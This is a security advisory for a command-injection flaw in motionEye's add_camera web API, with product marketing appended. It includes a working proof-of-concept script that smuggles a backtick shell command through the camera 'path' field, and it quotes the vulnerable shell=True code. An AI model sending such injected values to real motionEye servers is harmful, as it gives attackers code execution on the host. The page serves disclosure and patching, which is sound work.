GHSA-g5mq-prx7-c588
motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
motioneyeReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Using a constructed (camera) device path with the config/add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion by default.
function call stack
postadd_cameraconfig.add_camerav4l2ctl.list_resolutionsutils.call_subprocesssubprocess.run
PoC
build
RUN_USER="user"
RUN_UID=$(id -u ${RUN_USER})
RUN_GID=$(id -g ${RUN_USER})
TIMESTAMP="$(date '+%Y%m%d-%H%M')"
docker build \
--network host \
--build-arg="RUN_UID=${RUN_UID?}" \
--build-arg="RUN_GID=${RUN_GID?}" \
-t "${USER?}/motioneye:${TIMESTAMP}" \
--no-cache \
-f docker/Dockerfile .
reproduce
Run:
docker run --rm -d -p 8765:8765 --hostname="motioneye" -v /etc/localtime:/etc/localtime:ro -v /tmp/motioneyeconfig:/etc/motioneye -v /tmp/motioneyeconfig:/var/lib/motioneye
bash-4.2$ docker logs ceb435eacf55 -f
configure_logging cmd motioneye: False
configure logging to file: None
INFO: hello! this is motionEye server 0.43.1b3
DEBUG: found motion executable "/usr/bin/motion" version "4.7.0"
DEBUG: found ffmpeg executable "/usr/bin/ffmpeg" version "7.1.1-1+b1"
DEBUG: listing config dir /etc/motioneye...
DEBUG: found camera with id 1
DEBUG: reading camera config from /etc/motioneye/camera-1.conf...
DEBUG: loading additional config structure for camera, without separators
DEBUG: Using selector: EpollSelector
DEBUG: searching motion executable
DEBUG: starting motion executable "/usr/bin/motion" version "4.7.0"
INFO: cleanup started
INFO: wsswitch started
INFO: tasks started
INFO: mjpg customer garbage collector has started
INFO: server started
Now, run the following script to attack motionEye:
import requests
import json
url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"
payload = json.dumps({
"proto": "v4l2",
"path": "' `touch /tmp/bbbb` '"
})
headers = {
'Content-Type': 'application/json'
}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text)
<img width="1187" alt="Image" src="https://github.com/user-attachments/assets/8e0a9bfe-8de3-4023-96d6-0e888bfe3c62" />
<img width="324" alt="Image" src="https://github.com/user-attachments/assets/04c73349-694a-4531-993e-eea765b87d0e" />
Discussion
It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability
def list_resolutions(device):
from motioneye import motionctl
device = utils.make_str(device)
if device in _resolutions_cache:
return _resolutions_cache[device]
logging.debug(f'listing resolutions of device {device}...')
resolutions = set()
output = b''
started = time.time()
cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
logging.debug(f'running command "{cmd}"')
try:
output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
except:
logging.error(f'failed to list resolutions of device "{device}"')
output = utils.make_str(output)
def call_subprocess(
args,
stdin=None,
input=None,
stdout=subprocess.PIPE,
stderr=DEV_NULL,
capture_output=False,
shell=False,
cwd=None,
timeout=None,
check=True,
encoding='utf-8',
errors=None,
text=None,
env=None,
) -> str:
"""subprocess.run wrapper to return output as a decoded string"""
return subprocess.run(
args,
stdin=stdin,
input=input,
stdout=stdout,
stderr=stderr,
capture_output=capture_output,
shell=shell,
cwd=cwd,
timeout=timeout,
check=check,
encoding=encoding,
errors=errors,
text=text,
env=env,
).stdout.strip()
Impact
RCE
Patches
The vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143
Workarounds
Applying the following patch, replacing the literal single quotes in the created cmd string with a shlex.quoted input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch
References
https://github.com/motioneye-project/motioneye/issues/3142
Credit
The vulnerability was discovered by Tencent YunDing Security Lab.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | motioneye | ≥ 0.43.1b1&&< 0.43.1b4 | 0.43.1b4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for motioneye. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update motioneye to 0.43.1b4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g5mq-prx7-c588 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-g5mq-prx7-c588 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-g5mq-prx7-c588. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-g5mq-prx7-c588 in your dependencies?
O3 detects GHSA-g5mq-prx7-c588 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.